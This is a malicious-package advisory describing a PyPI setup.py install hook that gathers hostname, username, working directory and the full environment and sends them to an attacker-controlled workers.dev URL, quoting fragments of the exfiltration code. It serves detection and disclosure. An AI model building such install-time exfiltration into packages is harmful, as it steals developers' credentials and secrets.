GCVE-110-OSM-2026-9420

This package implements a classic supply-chain exfiltration attack via a PyPI install hook. The `analytics()` function in setup.py collects hostname, username, current working directory, and the full environment variables (`dict(os.environ)`), then POSTs the JSON-encoded payload to an attacker-controlled Cloudflare Worker endpoint . The function is called both at module load time (top-level `analytics()` call) and inside the `PostInstallCommand.run()` override, ensuring execution fires on install regardless of path. The author `adamintigrititest` with zero other packages, no description, no repository, and a version number of 8.8.0 (implying false maturity) is consistent with a throwaway dependency-confusion or typosquatting test account — however, the exfiltration of `os.environ` is a genuine credential-theft vector regardless of whether this is a bounty test, and the domain name contains the author's handle confirming attacker infrastructure ownership. ENTRY setup.py (install-hook: install/develop/build override present) - setup.py Code Execution in setup.py EXFIL - Python File Upload to Remote in setup.py: "urllib.request.Request( "https://request-forwarder.a-d-a-m.workers.dev/", data=" - Data Encoding for Exfiltration in setup.py: "json.dumps(data).encode" - Network Request in setup.py: "Request( "https:" - System Information Collection in setup.py: "socket.gethostname()" ADDITIONAL FINDINGS - Setup.py Command Override in setup.py: "cmdclass={"install"" PAYLOAD FILES setup.py